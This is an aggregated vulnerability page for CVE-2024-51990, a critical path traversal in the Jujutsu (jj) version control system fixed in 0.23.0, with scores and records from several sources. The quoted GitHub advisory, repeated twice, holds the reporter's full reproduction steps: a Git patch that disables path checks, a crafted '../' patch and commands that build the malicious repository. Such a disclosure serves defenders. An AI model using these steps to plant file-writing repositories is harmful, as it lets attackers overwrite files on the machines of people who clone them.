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CVE-2024-51990

Path traversal via crafted Git repositories in jj

9.3 CriticalFix available

jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause jj to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.61%Up 0.6 points since Nov 7, 2024
90%50%10%1%

What each source reports

CVE List Score used 9.3

Path traversal via crafted Git repositories in jj

jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause jj to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.

Record
CVE-2024-51990
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2024-3221 9.3

jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause jj to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.

Record
EUVD-2024-3221
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-88h5-6w7m-5w56 9.2

jj vulnerable to path traversal via crafted Git repositories

Impact

Specially crafted Git repositories can cause jj to write files outside the clone.

Patches

Fixed in 0.23.0.

Workarounds

Not much other than to not clone repositories from untrusted sources.

References

Here's the original report from @joernchen:

When cloning a crafted Git repository it is possible to let jj write into arbitrary directories. This can be achieved by having file objects which contain path traversals.

Reproduction steps:

Apply the following patch to Git version v.2.47.0:

diff --git a/path.c b/path.c
index 93491bab14..2f47e69fd1 100644
--- a/path.c
+++ b/path.c
@@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)

 static const char *cleanup_path(const char *path)
 {
-       /* Clean it up */
+       /* Clean it up
        if (skip_prefix(path, "./", &path)) {
                while (*path == '/')
                        path++;
-       }
+       }*/
        return path;
 }

@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)

 int normalize_path_copy(char *dst, const char *src)
 {
-       return normalize_path_copy_len(dst, src, NULL);
+//     return normalize_path_copy_len(dst, src, NULL);
+       memcpy(dst, src, strlen(dst));
+       return 0;
 }

 int strbuf_normalize_path(struct strbuf *src)
diff --git a/read-cache.c b/read-cache.c
index 3c078afadb..2eb44cb26f 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,
                                                    unsigned mode)
 {
        char c = 0;
+       return PATH_OK;

        if (has_dos_drive_prefix(path))
                return PATH_INVALID;

With this patched git binary we can now apply a crafted patch containing a path traversal to a repository.

The patch would look like:

From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001
From: joernchen <[[email protected]](mailto:[email protected])>
Date: Sun, 13 Oct 2024 18:09:50 +0200
Subject: [PATCH] z123

---
 z | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 z

diff --git a/../joernchen_was_here b/../joernchen_was_here
new file mode 100644
index 0000000..e69de29
--
2.46.1

Note the traversal ../joernchen_was_here in the patch. This now can be committed to a repository using the modified git binary:

mkdir demo
cd demo
git init
./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch
rm ../joernchen_was_here # remove the file the modified git wrote

Now, when cloning that repository with jj git clone the path traversal will write above the worktree directory, allowing arbitrary file writes.

I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For reproduction it should be sufficient to do jj git clone demo.git after unpacking the tarball.

The demo repository after being cloned with jj will create an empty file joernchen_was_here right next to the demo directory to demonstrate the traversal.

Record
GHSA-88h5-6w7m-5w56
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 9.3

jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause jj to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.

Record
CVE-2024-51990
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-22
Updated
2026-11-02
OSV 9.3

Path traversal via crafted Git repositories in jj

jj, or Jujutsu, is a Git-compatible VCS written in rust. In affected versions specially crafted Git repositories can cause jj to write files outside the clone. This issue has been addressed in version 0.23.0. Users are advised to upgrade. Users unable to upgrade should avoid cloning repos from unknown sources.

Record
CVE-2024-51990
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-88h5-6w7m-5w56 9.2

jj vulnerable to path traversal via crafted Git repositories

Impact

Specially crafted Git repositories can cause jj to write files outside the clone.

Patches

Fixed in 0.23.0.

Workarounds

Not much other than to not clone repositories from untrusted sources.

References

Here's the original report from @joernchen:

When cloning a crafted Git repository it is possible to let jj write into arbitrary directories. This can be achieved by having file objects which contain path traversals.

Reproduction steps:

Apply the following patch to Git version v.2.47.0:

diff --git a/path.c b/path.c
index 93491bab14..2f47e69fd1 100644
--- a/path.c
+++ b/path.c
@@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)

 static const char *cleanup_path(const char *path)
 {
-       /* Clean it up */
+       /* Clean it up
        if (skip_prefix(path, "./", &path)) {
                while (*path == '/')
                        path++;
-       }
+       }*/
        return path;
 }

@@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)

 int normalize_path_copy(char *dst, const char *src)
 {
-       return normalize_path_copy_len(dst, src, NULL);
+//     return normalize_path_copy_len(dst, src, NULL);
+       memcpy(dst, src, strlen(dst));
+       return 0;
 }

 int strbuf_normalize_path(struct strbuf *src)
diff --git a/read-cache.c b/read-cache.c
index 3c078afadb..2eb44cb26f 100644
--- a/read-cache.c
+++ b/read-cache.c
@@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,
                                                    unsigned mode)
 {
        char c = 0;
+       return PATH_OK;

        if (has_dos_drive_prefix(path))
                return PATH_INVALID;

With this patched git binary we can now apply a crafted patch containing a path traversal to a repository.

The patch would look like:

From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001
From: joernchen <[[email protected]](mailto:[email protected])>
Date: Sun, 13 Oct 2024 18:09:50 +0200
Subject: [PATCH] z123

---
 z | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 z

diff --git a/../joernchen_was_here b/../joernchen_was_here
new file mode 100644
index 0000000..e69de29
--
2.46.1

Note the traversal ../joernchen_was_here in the patch. This now can be committed to a repository using the modified git binary:

mkdir demo
cd demo
git init
./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch
rm ../joernchen_was_here # remove the file the modified git wrote

Now, when cloning that repository with jj git clone the path traversal will write above the worktree directory, allowing arbitrary file writes.

I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For reproduction it should be sufficient to do jj git clone demo.git after unpacking the tarball.

The demo repository after being cloned with jj will create an empty file joernchen_was_here right next to the demo directory to demonstrate the traversal.

Record
GHSA-88h5-6w7m-5w56
CVSS 4.0
9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVopenSUSE-SU-2024:14485-1 No score

jujutsu-0.23.0-1.1 on GA media

These are all security issues fixed in the jujutsu-0.23.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:14485-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
jj-lib
crates.io
before 0.23.0
0.23.0
jujutsu
openSUSE:Tumbleweed
before 0.23.0-1.1
0.23.0-1.1

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-51990 is a critical vulnerability (CVSS 9.3) in Martinvonz Jj, published November 7, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.61%, the 49th percentile. Fixed in jj-lib 0.23.0.

References

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